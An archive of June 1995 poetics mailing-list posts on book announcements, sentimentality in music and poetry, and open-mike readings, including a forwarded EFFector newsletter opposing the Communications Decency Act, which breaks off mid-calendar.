80. Burt Kimmelman

NEW POETRY FROM SPUYTEN DUYVIL

Wed 7 Jun 1995

From: TESLA::KIMMELMAN 7-JUN-1995 11:18:47.12
To: ADMIN::KIMMELMAN
CC:
Subj:

ANNOUNCEMENT

New poetry books from Spuyten Duyvil:

Wave-Run by Tod Thilleman ($7.95):

about Wave-Run:

"Those who sound the language of Tod Thilleman's Wave-Run may at first feel submerged in a foreign language only to arrive at a later--and deeper, more alive--realization of english and of a different sea."

- John Taggart

"Thilleman's craft, the drive and punning images of his language, movingly replay in contemporary terms the old myth of Ocean and our fascinated love of it."

- Michael Heller

Also from Spuyten Duyvil:

Musaics by Burt Kimmelman ($8.95)

about Musaics:

". . . artful, fastidious, learned--in love with the world of painting and the intricacies of language."

- Alfred Kazin

"We find the arts restate the questions we have been asking and the ways they clean and stretch our questions reward us more than answers would."

- William Bronk

After Asia by Michael Stephens ($10.00)

about After Asia:

"A lovely book of poems! So various and human and (usefully) sweet! These poems are a pleasure! Oh!"

- Robert Creeley

Books may be purchased from SPD / Small Press Distribution ([redacted]), 1814 San Pablo avenue, Berkeley, CA 94702; or at individual prices plus $1.50 shipping and handling ($.50 for each additional book) from Spuyten Duyvil ([redacted]), Box 1852, Cathedral Station, NYC 10025.

Coming soon from SD:

Occur by Wayne Oakes.

about Occur:

". . . one page story-moments limned in the ink of intensity."

- Ed Sanders

The Ceiling of the World by Alice Rose George.

about The Ceiling of the World.

". . . exquisite . . . intensely ecstatic. . . ."

- Carol Muske

"Alice Rose George transforms our shared world from heartbreak to a difficult and qualified joy."

- April Bernard

↑ Index

81. George Bowering
Re: speaking of blaser conf.
Wed 7 Jun 1995

Pierre, it was just amazing that Blaser went to everything. Not just because of his health, but because he's notoriously not at everything; or if he does gfo to something he leaves the second it's over. People remarked on this. I take it that Blaser was showing his respect for all the people. I think that he was really mived around. I bet he's been resting ever since.

Hey, Vancouver was glad to have all you folks. Van. loves big p[oetry things.

↑ Index

82. R.I.Caddel @ durham.ac.uk
Sentimentality, music etc
Wed 7 Jun 1995

Re: Britten's War Requiem: it's necessary for players and audience to make some attempt to think it back to its original context, or at least out of the rather sterile concert hall context. Written late 50s early 60s, (a time when the UK certainly did need refocussing on the wastage of war, which isn't to say

that other places/times didn't/don't) for the reconsecration of Coventry Cathedral (Coventry, you remember, was the city the Allies allowed to be destroyed rather than reveal to the Germans that they'd cracked their radio code) by a gay pacifist who was still (at that time) outside the UK establishment, its intention was to "reach" a lot of people. To do this, Britten opened out and simplified his style a lot (it's not atonal music in any sense) and chose "accessible" texts by Owen - to my mind, mistakenly (when Tippett came to write his polemic piece "A Child of Our Time" he wrote his own libretto). The key to it all is the Dies Irae: normally when composers set this they go for a big, wrath-filled, melodramatic sound - Britten's is the only setting I can think of which is tiny, guilt-ridden and fearful. The war music, likewise, should be clumsy and childish. The whole thing is stamped with the human and fallible, and a performance which doesn't respect this, I'd say, would fail.

But there's a tendency these days in concert performances and recordings to go for "lovely sounds" in contexts where it's not appropriate (Gorecki suffers from this, to my ears) - as if we looked at those Goya execution scenes and said they had "lovely colours". This comes down to "dumbheaded" audiences and (in the case of music) insincere performances. And it suggests to me that sentimentality (if that's what this love of lushness is) is to do with audiences and consumers, rather than makers of things. Now (to take my own case) I freely confess to being both - and it's possible that if a consumer response slips into my poetry (and I don't cut it out) the result is sentimental poetry. In which case, let he/she who is without wotsit cast the first thingumy.

Cards on the table: I was never a very good performing musician, and any explanation I give as to why I shifted from a formal musical training to poetry could be tempered with cries of "sour grapes". But it does seem to me that much of the music bizz is to do with consumerism ("giving the public what they want") rather than actually making anything. There are exceptions, of course. Equally, I'm often horrified by the amateurishness of many poets over their reading/performance practice (one UK poet who turned up to give a reading actually prefaced it with "I don't think I'm a very good reader, I think my poems are better studied on the page..." but he still claimed his fee). Uncool it may be, but (to the consternation of my family) I do indeed read work aloud during the composition process, and when preparing for a reading. I used at one stage to record myself, and play it back to myself, as part of this process. It was very instructive, and also very destructive.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x x x "Words! Pens are too light.

Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

83. I.LIGHTMAN
Re: Sentimentality, music etc
Wed 7 Jun 1995

Just to say I really found Ric's posting informative. Also want to support Alan (yeah a Bratmobile fan!): there is a way of looking a song that uses three chords as minimalist, a la Reich and Glass, as milking a small set of materials for all you can. Oh I like Nirvana and Hole and Abba, and Debussy and Ravel and Berio, but I absolutely hate any jazz other than fifties be-bop. Oh, and I've also done quite intellectual work at open mike events, with all the timing and precision and rehearsal and intensity I can manage, and it usually gets respect. If I stood there hating that audience for not being a trained avant-garde audience I'd get nowhere. That isn't selling, or selling out, it's communicating, give a little, demand a little. Plus of course a pop artist can be a much more effective bridging person than most arts programmes or courses; I'm thinking of the way Cobain drew a lot of people's attention to neglected independent label bands *or* the way Lennon name-dropped (and engaged with) Stockhausen and Yoko Ono in other arts.

But I don't think rock is the highest art form, I think there are people for whom each of the arts form is the highest, and if yours is not it, and you can still get at what the spirit of pure form is in their form ie make your music sculptural, or your cooking painterly, you can win them over *and* stretch yourself at the same time. *I* was *trying* in my original questions to ponder if it wasn't that any art, say music instead of poetry, was an intrinsically higher art - but that poets could learn from musicians, as Sheila was saying; I'm often ashamed to take Mike, my flatmate who writes classical music and pop songs with me, to poetry gigs because, as he memorably put it me after one event: "poets really have it easy". He can't get *any* of his scores, or writing about music, published or distributed or performed, except by himself.

Ira

↑ Index

84. Linda Lane Reinfeld
singing benna
Wed 7 Jun 1995

Just rereading Jamaica Kincaid's "Girl" for a class I'm teaching tonight and wishing I knew what "benna" sounded like... Standard references in the public library don't help. Here's some context:

"... is it true that you sing benna in Sunday School? ... don't sing benna in Sunday School ... but I don't sing benna on Sundays at all and never in Sunday School..."

If you've got a fast answer for me, please email to

[redacted]

Thanks -- Linda Reinfeld

↑ Index

85. Carl Lynden Peters
Re: sentimentality
Wed 7 Jun 1995

----i don't get this -- what are you talking abt?
c

> *Mr. Peters certainly sounds snooty today--*

↑ Index

86. Edward Foster
Re: Actually actual?
Wed 7 Jun 1995

---

true, chris, so very true. arab music is good, those modes and all that, plus bach for complex baroque interiors, but KISS, all those old recordings still wonderful. hey, anyone who's prescriptive about anything is only one thing: wrong.

↑ Index

87. Edward Foster
Re: a=a is what does bad poetry do
Wed 7 Jun 1995

---

jordan, jordan, as Keats said, "I look upon fine Phrases like a Lover." And the _harm_ in bad poetry? Well without "fine Phrases," how/what can one feel?

↑ Index

88. Carl Lynden Peters
Re: sentimentality
Wed 7 Jun 1995

wait, let me explain a little: i should have specified this, but i was thinking of the context they have -- which is usually a context which gives them a large and immediate audience. --and i certainly think there are musicians out there who take their art seriously. what abt neil young? some real rock & roll

c

> *Regarding Carl Peters' remark that rock stars are artists etc. I figure he is trying to be silly or maybe provocative. The electric guitar amped is easy to play, easy enough to do that strumming they do in them punky bands. I decicded to watch that band called "Hole" on TV. Ohhh, look at the funny clothes, that's got to be worth 1000 points. oooh look how she has her hair over her eyes, wow. Ooh look how she leans way back and strums, woopie. 2000 more points. That ought to tax the minds and souls of any 12-year-old. I am amused by the pathetic yearning after respect by thye industry. 3-chord strummers call themselves "artists" instead of children's music entertainers. They perform at "concerts" instead of shows. Etc. They usyally appeal to the kind of refined and complkicated miond that likes Charles Bukowski's poems. There are good musicians with some brain and chops, like Frank Zappa. "Hot Rats" is really good. It might be as good as Delibes. But Nine Centimeter nails, etc? So what if your friends think yr a goop for saying you doubt whether they are really good artists? Listen to a little Monk, for god's sake. And when the whang whang boys and girls arent taking words from serious adult music, they try to swipe it from jazz and blues, steal lingo from great 1940s Black artists.*

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89. Maria Damon
Re: discipline
Wed 7 Jun 1995

In message <[redacted]> UB Poetics discussion group
writes:
> The open mike scene is usually disappointing, isnt it, Reg? If it
> isnt, why isnt it?

this, like (I'm sorry folks) the hallmark card discussion, is of interest in my thinking about what what poetry is or might/cd./ (not "should," tho i think people may have a deeply buried "should" in there under everything) do, be, etc. what is it that one expects that results in disappointment when it's not there in an open mike scene. and, as george asks, when one isn't disappointed, what is it that is there, what expectation is being met? i for one enjoy open mike readings if there's a lot of energy there and the participants are excited about what they're doing. md

↑ Index

90. Charles Bernstein

EFF Newsletter (fwrd)

Wed 7 Jun 1995

I am forwarding the new issue of EFF newsletter. At the very end of the message, many screens away for those of you like me who must scroll this screen to screen, is SUBSCRIPTION information for EFF. Since each of you can subscribe to this yourself, it is not my plan to forwarded further issues to POETICS. However, if people on the list would prefer to have these newsletters forwarded to the list, send me (not the list) a message.

---------- Forwarded message ----------
Date: Tue, 6 Jun 1995 19:13:41 -0400
From:[redacted]
To: effector mailing list <[redacted]>
Subject: EFFector Online 08.07 - June 6 '95 - ALERT: Last chance on Exon bill!

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==================================================
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* See http://www.eff.org/Alerts/ or ftp.eff.org, /pub/Alerts/ for more information on current EFF activities and online activism alerts! *

Subject: ALERT: Communications Decency Act - Act NOW!

* EMERGENCY UPDATE: Just as this issue was going to virtual press, more and * very dire news has arrived. Senators Bob Dole (R-KS) and Charles Grassley * (R-IA) have announced they are sponsoring, and probably introducing very * soon, new Internet censorship legislation even more threatening * to free speech than the Exon "Communications Decency Act". Unlike the * Leahy alternative to the CDA, the Dole/Grassley legislation is not, * according to sponsor Grassley, intended to be offered as a replacement * for the Exon language in the Senate telecom reform bill, but rather is * intended as free-standing bill. As CDT, a member of the Stop314 Coalition * with EFF, notes, the advent of the Dole/Grassley bill creates an even * greater need for support of Senator Leahy's alternative (S. 714). If * the Senate rejects Senator Leahy's alternative, it will pass either the * Exon bill or the even more draconian Dole/Grassley proposal, and the * net as we know it will never be the same again. Please, take the very * few minutes it will require to call your Senators and sign the Leahy * petition, as detailed in the lead article below. More info on the * Dole/Grassley proposal is in the Newsbytes section of this newsletter.

Below is the latest action alert from the Stop314 Coalition (including EFF). *This may look like alerts you've seen on previous days and weeks, but it is new.* Please take the time to check it out - the time has come to direct your activism toward your Senators. The petition drive for the Leahy opposition bill has receive over 20,000 signatures in a very short time, but it is not enough.

Please pardon the length of this EFFector, but this is the most important action alert that has appeared in EFFector this year.

CAMPAIGN TO STOP THE EXON/GORTON COMMUNICATIONS DECENCY ACT

Update: -Senate changes gears, we're caught with little time - What You Can Do Now (US and non-US citizens)

CAMPAIGN TO STOP THE UNCONSTITUTIONAL COMMUNICATIONS DECENCY ACT June 6, 1995

PLEASE WIDELY REDISTRIBUTE THIS DOCUMENT WITH THIS BANNER INTACT

REDISTRIBUTE ONLY UNTIL June 20, 1995

REPRODUCE THIS ALERT ONLY IN RELEVANT FORUMS

Distributed by the Voters Telecommunications Watch ([redacted])

[NOTE: EFF has added two bracketed additions to the "What You Can Do Now" section, in light of the sudden appearance of the Dole/Grassley bill and the Lott amendment.]

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THE LATEST NEWS

The Senate is ready to act on the Telecommunications Reform Bill this week, perhaps as soon as Wednesday, June 7th. We had thought the Counter Terrorism bill would take all week, but the Senate changed its schedule without consulting us. :-)

(We sincerely apologize for issuing another alert on the heels of the prior one, but the Senate's readiness to move on this legislation was not anticipated. We'll watch out for such a situation again and avoid releasing two alerts so close together in the future. We also apologize for the length of this Alert, but it contains the entire Senate contact info.)

Note that there are few people who don't know about the bill. However if you are unfamiliar with the bill, take a moment to retrieve the materials listed in the "For More Information" section.

WHAT YOU CAN DO NOW -- U.S. and non-U.S. citizens

The Telecomm Reform Bill, will, in all likelihood, include either the Exon Amendment (formerly the Communications Decency Act) or the Leahy Amendment. It is essential that the Leahy language be substituted for Exon's, and therefore it is essential:

1. That all citizens call or fax their Senators as soon as possible. There is no time for written letters and email is too easily discounted or ignored. Non-U.S. citizens should contact Vice President Gore. Note, if you decide to send a fax, you'll want to write an expanded version of the statement below.

It's very important that you always be cool, collected, and polite.

U.S. citizens:

<call your Senators' offices, contact info below>
"Hello, Senator _____'s office"
"Hi, I'm a constituent and would like to register my opinion on the Telecommunications Reform bill to the Senator."
"Hold On please. Alright, go ahead."
"Please vote to remove the Communications Decency Act provision (Title 4 of S652) from the Telecomm Reform bill and replace it with the Leahy alternative (S714). My name and address is _____."
"Thanks for calling."
<click>

[Addition in light of emergency update: Ask your Senators to also oppose the Lott amendment S.714, and to oppose the Dole/Grassley alternative to the CDA.]

Non-U.S. citizens:

<call, fax, or send email to Vice President Gore>
"Dear Vice President Gore,

The world looks to the United States as one leader in developing a Global Information Infrastructure. Title 4 of the Telecomm Reform bill (the Communications Decency Act) [like the Dole/Grassley Internet censorship bill,] imperils that leadership. Please work to remove it from the

Telecomm Reform bill (S652) and replace it with Senator
Leahy's sensible alternative (S714). I'm calling from
_____."

2. Send VTW a note telling us what you did. If you contacted your two Senators, send a letter to [redacted] with a subject line of "XX ack" where "XX" is your state. For example:

To: [redacted]
Subject: OH ack

I called my Ohio Senators and expressed my opinion.

If you contact Senators outside your state, please let us know what state you're from.

If you contacted Vice President Gore, send a letter to [redacted] with a subject line of "gore ack". For example:

To: [redacted]
Subject: gore ack

I called VP Gore and expressed my opinion. I'm from France.

An automatic responder will return an updated contact tally.

3. Forward this Alert to relevant forums on other online services and BBS's. Check the letter you get back to see which Senators are underrepresented by citizen contacts. Forward the Alert to any friends and colleagues in those states.

4. If you haven't yet signed the petition to support Sen. Leahy, do so now. Send mail to [redacted] with a subject line of "send petition" for directions.

5. Congratulate yourself! Your two-minute activism joins that of many thousands of others over the past two months.

SENATE CONTACT LIST

Vice President Gore can be reached at:

White House comment line
Telephone: [redacted] (M-F 9-5 EST)
Facsimile: [redacted] (M-F 9-5 EST)
Email: [redacted]

US Senate Listing:

D ST Name (Party) Phone Fax = == ========== ===== === R AK Murkowski, Frank H. [redacted]

[redacted] R AK Stevens, Ted [redacted] D AL Heflin, Howell T. [redacted] R AL Shelby, Richard C. [redacted] D AR Bumpers, Dale [redacted] D AR Pryor, David [redacted] R AZ Kyl, Jon [redacted] R AZ McCain, John [redacted] D CA Boxer, Barbara [redacted] na D CA Feinstein, Dianne [redacted] D CO Campbell, Ben N. [redacted] R CO Brown, Henry [redacted] D CT Dodd, Christopher J. [redacted] na D CT Lieberman, Joseph I. [redacted] D DE Biden Jr., Joseph R. [redacted] R DE Roth Jr. William V. [redacted] D FL Graham, Robert [redacted] R FL Mack, Connie [redacted] D GA Nunn, Samuel [redacted] R GA Coverdell, Paul [redacted] D HI Akaka, Daniel K. [redacted] D HI Inouye, Daniel K. [redacted] D IA Harkin, Thomas [redacted] R IA Grassley, Charles E. [redacted] R ID Craig, Larry E. [redacted] R ID Kempthorne, Dirk [redacted] D IL Moseley-Braun, Carol [redacted] D IL Simon, Paul [redacted] R IN Coats, Daniel R. [redacted] R IN Lugar, Richard G. [redacted] R KS Dole, Robert [redacted] R KS Kassebaum, Nancy L. [redacted] D KY Ford, Wendell H. [redacted] R KY McConnell, Mitch [redacted] D LA Breaux, John B. [redacted] na D LA Johnston, J. Bennett [redacted] D MA Kennedy, Edward M. [redacted] D MA Kerry, John F. [redacted] D MD Mikulski, Barbara A. [redacted] D MD Sarbanes, Paul S. [redacted] R ME Snowe, Olympia [redacted] R ME Cohen, William S. [redacted] D MI Levin, Carl [redacted] na R MI Abraham, Spencer [redacted] D MN Wellstone, Paul [redacted] R MN Grams, Rod [redacted] R MO Bond, Christopher S. [redacted] R MO Ashcroft, John [redacted] na R MS Cochran, Thad [redacted] R MS Lott, Trent [redacted] D MT Baucus, Max [redacted] na R MT Burns, Conrad R. [redacted] R NC Faircloth, D. M. [redacted] R NC Helms, Jesse [redacted] D ND Conrad, Kent [redacted] D ND Dorgan, Byron L. [redacted] D NE Exon, J. J. [redacted] D NE Kerrey, Bob [redacted]

[redacted] R NH Gregg, Judd [redacted] R NH Smith, Robert [redacted] D NJ Bradley, William [redacted] D NJ Lautenberg, Frank R. [redacted] D NM Bingaman, Jeff [redacted] na R NM Domenici, Pete V. [redacted] D NV Bryan, Richard H. [redacted] D NV Reid, Harry [redacted] D NY Moynihan, Daniel P. [redacted] na R NY D'Amato, Alfonse M. [redacted] D OH Glenn, John [redacted] R OH Dewine, Michael [redacted] R OK Inhofe, James [redacted] R OK Nickles, Donald [redacted] R OR Hatfield, Mark O. [redacted] R OR Packwood, Robert [redacted] R PA Santorum, Rick [redacted] R PA Specter, Arlen [redacted] D RI Pell, Claiborne [redacted] R RI Chafee, John H. [redacted] na D SC Hollings, Ernest F. [redacted] R SC Thurmond, Strom [redacted] D SD Daschle, Thomas A. [redacted] R SD Pressler, Larry [redacted]* R TN Thompson, Fred [redacted] R TN Frist, Bill [redacted] R TX Hutchison, Kay Bailey [redacted] R TX Gramm, Phil [redacted] R UT Bennett, Robert [redacted] R UT Hatch, Orrin G. [redacted] D VA Robb, Charles S. [redacted] R VA Warner, John W. [redacted] D VT Leahy, Patrick J. [redacted] R VT Jeffords, James M. [redacted] na D WA Murray, Patty [redacted] R WA Gorton, Slade [redacted] D WI Feingold, Russell [redacted] na D WI Kohl, Herbert H. [redacted] D WV Byrd, Robert C. [redacted] D WV Rockefeller, John D. [redacted] na R WY Simpson, Alan K. [redacted] R WY Thomas, Craig [redacted]

FOR MORE INFORMATION

For more information on the Communications Decency Act, visit the following resources:

Web Sites

URL:http://www.panix.com/vtw/exon/

URL:http://epic.org/

URL:http://www.eff.org/pub/Alerts/

URL:http://www.cdt.org/cda.html

FTP Archives

URL:ftp://ftp.cdt.org/pub/cdt/policy/freespeech/00-INDEX.FREESPEECH
URL:ftp://ftp.eff.org/pub/Alerts/

Gopher Archives:

URL:gopher://gopher.panix.com/11/vtw/exon
URL:gopher://gopher.eff.org/11/Alerts

Email:

[redacted] (put "send help" in the subject line)
[redacted] (General CDA information)
[redacted] (Current status of the CDA)

LIST OF PARTICIPATING ORGANIZATIONS

In order to use the net more effectively, several organizations have joined forces on a single Congressional net campaign to stop the Communications Decency Act.

In alphabetical order:

American Civil Liberties Union (ACLU) [redacted] American Communication Association (ACA) [redacted] American Council for the Arts Arts & Technology Society [redacted] biancaTroll productions [redacted] Californians Against Censorship Together [redacted] Center For Democracy And Technology (CDT) [redacted] Centre for Democratic Communications (CDC) [redacted] Center for Public Representation (CPR) [redacted] Computer Communicators Association [redacted] Computer Professionals for Social Responsibility [redacted] Cross Connections [redacted] Cyber-Rights Campaign [redacted] CyberQueer Lounge [redacted] Electronic Frontier Canada (EFC) [redacted] Electronic Frontier Foundation (EFF) [redacted] Electronic Frontier Foundation - Austin [redacted] Electronic Frontiers Australia (EFA) [redacted] Electronic Frontiers Houston (EFH) [redacted] Electronic Frontiers New Hampshire (EFNH) [redacted] Electronic Privacy Information Center (EPIC) [redacted] Feminists For Free Expression (FFE) [redacted] First Amendment Teach-In [redacted] Florida Coalition Against Censorship [redacted] FACTS (Friendly Anti-Censorship Taskforce for Students) [redacted] Hands Off! The Net [redacted] Human Rights Watch (HRW) [redacted] Inland Book Company [redacted] Inner Circle Technologies, Inc. aka. NovaLink Inst. for Global Communications [redacted] National Libertarian Party [redacted] Libertarian Party (national) (LP) [redacted] Marijuana Policy Project [redacted] Metropolitan Data

Networks Ltd. MindVox [redacted] National Bicycle Greenway [redacted] National Coalition Against Censorship (NCAC) [redacted] National Public Telecomputing Network (NPTN) [redacted] National Writers Union (UAW Local 1981 AFL-CIO) [redacted] Oregon Coast Rural Information Service Cooperative Panix Public Access Internet [redacted] People for the American Way [redacted] Rock Out Censorship [redacted] Society for Electronic Access [redacted] The Thing International BBS Network (TTNet) [redacted] The WELL [redacted] Voters Telecommunications Watch (VTW) [redacted]

(Note: All 'Electronic Frontier' organizations are independent entities, not EFF chapters or divisions.)

[End of Alert]

Subject: Newsbytes
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* Dole/Grassley Legislation Threatens Online Free Speech - Worse Than CDA

[This summary provided by Center for Democracy & Technology, [redacted]]

The Dole/Grassley bill would create new penalties in Title 18 for all operators of electronic communications services who knowingly transmit indecent material to anyone under 18 years of age. The bill would also create criminal liability for system operators who willfully permit minors to use an electronic communications service in order to obtain indecent material from another service.

The Dole/Grassley bill would impose criminal liability on online service providers, electronic bulletin board operators, as well as any other entity that uses computer storage to deliver information to users, including video dialtone services, cable television video on demand services, etc. The degree of knowledge required to impose liability is unclear, but it appears that an entity could be said to have the requisite knowledge if it is merely informed by a third party that some material on its system is indecent.

The text of the Dole/Grassley bill (currently unintroduced and without a bill number) is at:
http://www.eff.org/pub/Alerts/dole_grassley_95.bill
ftp.eff.org, /pub/Alerts/dole_grassley_95.bill
gopher.eff.org, 1/Alerts, dole_grassley_95.bill

* New Draft of Communications Decency Legislation

Sen. Exon, the Dept. of Justice, and some unnamed online service providers have attempted to fix the "bugs" in the Exon/Gorton Communications Decency Act, recently folded into the Senate telecom reform bill, S.652.

All in all, the amendment fixes only superficial problems, leaving the core faults of the bill intact.

The revisions are not currently out of the draft stage as far as can be determined, but may be intended to be introduced by Exon on the Senate floor in an attempt to convince the Senate that the CDA is "fixed" and should be preferred over the Leahy counter-legislation. The draft changes various minor parts of the bill (e.g. changes "knowingly and willfully" to "knowingly"); allows but fails dismally to require that the implementation of technology to enable the user to restrict or prevent access to "obscene, lewd, lascivious, filthy, or indecent" material may be used to avoid liability on the part of system operators; and separates out some offenses from others more clearly. The revisions also aim to satisfy the concerns the Justice Dept. had regarding the poorly written CDA's negative effect on law enforcement's ability to enforce "dial-a-porn" statutes and (to the DoJ's credit) its negative effect on the protection citizens enjoy under privacy laws. Whether the changes actually do address these problems is highly questionable.

The Exon legislation revised by this draft amendment will remain unconstitutional, as it still attempts to ban expression protected by the First Amendment. Even the regulation of indecency has been limited by the courts to very narrowly defined circumstances - none of which apply to online media. Such restrictions, even if eventually overturned after years of expensive legal battles, will greatly hamper networking development and will stifle freedom of expression online, rendering all electronic communications subject to censorship so that adults are limited to accessing and expressing only that which is suitable for children.

Additionally, the new version introduces a new problem: It protects only large commercial service providers from more-restrictive state laws. The draft states: "No State or local government may impose any liability for commercial activities or actions by commercial entities...that is inconsistent with the treatment of those violations under this section..." EFF concurs with the Center for Democracy & Technology in finding no valid argument for according greater protection to commercial than non-commercial speech. Indeed the entire history of commercial regulation and free speech jurisprudence in the U.S. points in the opposite direction. The CDA revisions would leave individuals, educational institutions, non-profit organizations, users' groups and all others besides commercial interests subject to whatever censorship measures states might wish to enact on whatever whim.

The draft changes to the Exon bill, showing what was deleted and what was added, are available at:

http://www.eff.org/pub/Legislation/Bills_by_number/s652_051995_amend.draft
ftp.eff.org, /pub/Legislation/Bills_by_number/s652_051995_amend.draft
gopher.eff.org, 1/EFF/Legislation/Bills_by_number, s652_051995_amend.draft

* Sen. Lott to Attempt to Rip Sysop Defenses from Exon Bill

CDT in their alert regarding the Dole/Grassley bill also note that Sen. Trent Lott (R-MS) has announced plans to introduce an amendment to S.652 to remove all of the service provider defenses from the Exon language (the CDA). *This move would make the Exon bill even more of a privacy and free speech threat than the original Exon bill.* Holding system operators liable for the posts of users over which they hold no editorial control threatens to put most providers out of business, stifle free expression online, and force the remaining providers to become full-time censors and invaders of user privacy.

[Apologies to those who also receive CDT newsletters and get essentially two copies of this information, but its relevance here and its effect on the now extreme urgency of the main action alert in this newsletter and on the Leahy petition drive requires at least summarizing the main points here again.]

The text of the Lott amendment will be available as soon as we receive it from:
http://www.eff.org/pub/Alerts/
ftp.eff.org, /pub/Alerts/
gopher.eff.org, 1/Alerts
Look for a file with "lott" in the filename.
* The Other Side of the Coin: Feinstein Bill v. Bomb Material Online

Sen. Dianne Feinstein (D-CA) has drafted an amendment to the Senate Comprehensive Terrorism Prevention bill, S.735, of Sen. Dole. Like the CDA revisions, this remains an unintroduced draft, on hold until its parent bill is in open discussion in the Senate. The draft intends to: "prohibit the dissemination of information on the making of explosive materials with intent or knowledge that such information will be used for a criminal purpose."

The draft amendment would mandate up to twenty years in prison for anyone who "teach[es] or demonstrate[s] the making of explosive materials, or... disseminate[s] by any means information pertaining to, in whole or in part, the manufacture of explosive materials" if the person even "resonably should know" that such explosives or information "is [sic] likely to be used for, or in furtherance of, a federal offense or other criminal purpose affecting interstate commerce."

Though the legislation does not directly mention the Internet, it is certainly drafted to apply to online media, and was inspired by what Feinstein perceives (or hears about in the media, since it is unlikely the Senator has actually ever logged in and found any bombmaking instructions online) as tools for terrorism on computer networks. The agenda is clear. Feinstein, herself a near-victim of a failed letter-bombing attempt, along with other legislators, representatives of the Administration, and spokespersons from the civil liberties community, participated in a May 11 Senate Terrorism Committee hearing on "The Availability of Bomb Making Information On The Internet". Feinstein suggested that bomb-making data be banned from the net, according to _Interactive_Week_. Calling such materials information that "teaches people to kill" she stated that it is "pushing the envelope of free speech to the extremes." Feinstein was asked, and did not answer, if she intended to ban such materials (e.g. the widely available _Anarchist_Cookbook_) from bookstores, after she suggested that the "doctrine of prior restraint is one we have to look at", because such information "isn't what this country is all about."

Others likely to support the Feinstein amendment if introduced when the anti-terrorism bill hits the Senate floor include Sen. Herb Kohl (D-WI) and the Justice Department. Kohl at the same hearing commented that Americans would be shocked at the "dark back alleys of the Internet... In other words, the industry acts now, or Congress will do it for you... After all, if we have the technology to get kids on the Internet, we have should have the technology to get them off." Expanding on the overused outrage-generator of protecting kids from the evils of electronic communications, Dep. Asst. Atty. Gen. Robert Litt, testified, "Not only do would-be terrorists have access to detailed information on how to construct explosives, but so do children."

Experienced BBS and Internet users may marvel at the seeming gullibility of these hearing pronouncements. It is clear that Kohl, Feinstein and Litt are unware, or choose to ignore, that most of the material they are decrying is actually written by minors - neither very accurate nor likely at all to be used by terrorists - and that far more reliable information on topics like the anatomy of a bomb can be had from most public libraries (e.g. in the _Encyclopaedia_Britannica_), and from the U.S. government itself. Brock Meeks writing for _Interactive_Week_ notes that the very bomb type used to destroy the Federal Building in Oklahoma City is covered in a "detailed recipe" in the Forestry Service's own readily available _Blaster's_Handbook_.

Others at the hearing, including Sen. Patrick Leahy (D-VT), warned against looking to censorship for a solution. Leahy retorted that the real problem is "harmful and dangerous conduct, not speech". Sen. Arlen Specter (R-PA), who chaired the hearing, appeared to remain rather neutral on the issue, being neither certain that censorship and access restriction to online material was

technically feasible, nor encouraged to call for censorship by the DoJ's admission that they had no evidence at all of crimes taking place as a result of information gathered from the Internet.

The full text of the Feinstein draft can be found at

http://www.eff.org/Bills_by_number/s735_95_feinstein_amend.draft
ftp.eff.org, /pub/Legislation/Bills_by_number/s735_95_feinstein_amend.draft
gopher.eff.org, 1/Legislation/Bills_by_number, s735_95_feinstein_amend.draft

There's plenty more to worry about from this and other anti-terrorism legislation, most of which proposes one or more unconstitional "solutions" to perceived problems, and many of which seek to expand, in some cases radically, law enforcement and intelligence wiretapping authority and abilities. These bills, archived by bill number, are also available in the Bills_by_number directory at the sites above.

* Prodigy Potentially Liable for User Postings

In a case that could have major ramifications for BBS system operators and Internet newsgroup moderators, a New York state trial court ruled that communications service provider Prodigy Services Company may be liable for potentially libelous statements made by one of its users. Prodigy was sued by the securities investment banking firm of Stratton Oakmont, Inc., and its president, Daniel Porush, for statements made by an unidentified poster on Prodigy's Money Talk bulletin board. The statements claimed that Stratton Oakmont committed criminal and fraudulant acts in connection with the initial public offering of stock of Solomon-Page, Ltd.

Stratton Oakmont and Porush sued Prodigy, the volunteer moderator of the Money Talk forum, and the anonymous user who made the postings. Prodigy filed a motion for summary judgment, asking to be dismissed from the case on the claim that Prodigy could not be held responsible for the postings of its users.

On May 24, 1995, the court held that Prodigy had editorial control over the messages in the Money Talk forum and was therefore liable for the content of those messages. According to the New York Supreme Court (which is a trial level court in New York), Prodigy's policy of systematically monitoring messages made it liable for the content of these messages.

In addition, the court held that since Prodigy directed and controlled the actions of volunteer Board Leaders, at least for the limited purpose of monitoring and editing the Money Talk bulletin board, Prodigy was responsible for the actions of its Board Leaders.

Subject: Calendar of Events

This schedule lists EFF events, and those we feel might be of interest to our members. EFF events (those sponsored by us or featuring an EFF speaker) are marked with a "*" instead of a "-" after the date. Simlarly, government events, such as deadlines for comments on reports or testimony submission, are marked with "!" in place of the "-" after the date.

If you know of an event of some sort that should be listed here, please send info about it to Stanton McCandlish ([redacted])

The latest full version of this calendar, which includes material for later in the year as well as the next couple of months, is available from:

ftp: ftp.eff.org, /pub/EFF/calendar.eff
gopher: gopher.eff.org, 1/EFF, calendar.eff
http://www.eff.org/pub/EFF/calendar.eff

Updated: Jun. 6, 1995

June 7-
9 - Third International Conference on Artificial Intelligence Applications on Wall Street; Pace University, New York City, NY.
Contact: [redacted] (voice), [redacted] (fax)
Email: [redacted]

June 8-
10 - Exploring the VideoClass Alternative; Raleigh, N. Carolina.
Email: [redacted]

June 11-
14 - Society & the Future of Computing (SFC'95); Tamarron Lodge, Durango, Colorado. Sponsored by the Assoc. for Computing Machinery, LANL, U. of Md., IEEE. Speakers will include Phil Agre (UCSD), Leslie Sandberg (Institute for Telemedicine), Wm. Halverson (PacBell), Don Norman (Apple), Linda Garcia (Congressional Office of Technology Assessment), John Cherniavsky (Natl. Science Found.) and several others.
Email: [redacted]
WWW: http://www.lanl.gov/LANLNews/Conferences/.sfc95/sfcHome.html/

June 13- 15 - IDT 95 - 12th Congress on Information Markets and Industries; Paris, France. Organized by ADBS (a society of information professionals), ANRT (National Association of Technological Research), and GFII (French association of information industries). Contact: [redacted] (voice), [redacted] (fax)

June 17-
19 - NECC'95: Emerging Technologies and Lifelong Learning: 16th Annual National Educational Computing Conf., sponsored by International Society for Technology in Education; Baltimore, Maryland.
VP Gore and Sec'y. of Labor Robert Reich invited as keynote speakers. Other speakers include: John Phillipo (CELT), Frank Knott (MGITB)
Contact: [redacted] (voice), [redacted] (fax)
Email: [redacted]

June 18-
21 - ED-MEDIA'95; Graz, Austria. A world conference on educational multimedia and hypermedia. Sponsor: The Association for the Advancement of Computing.
Contact: [redacted] (voice)
Email: [redacted].

June 24-
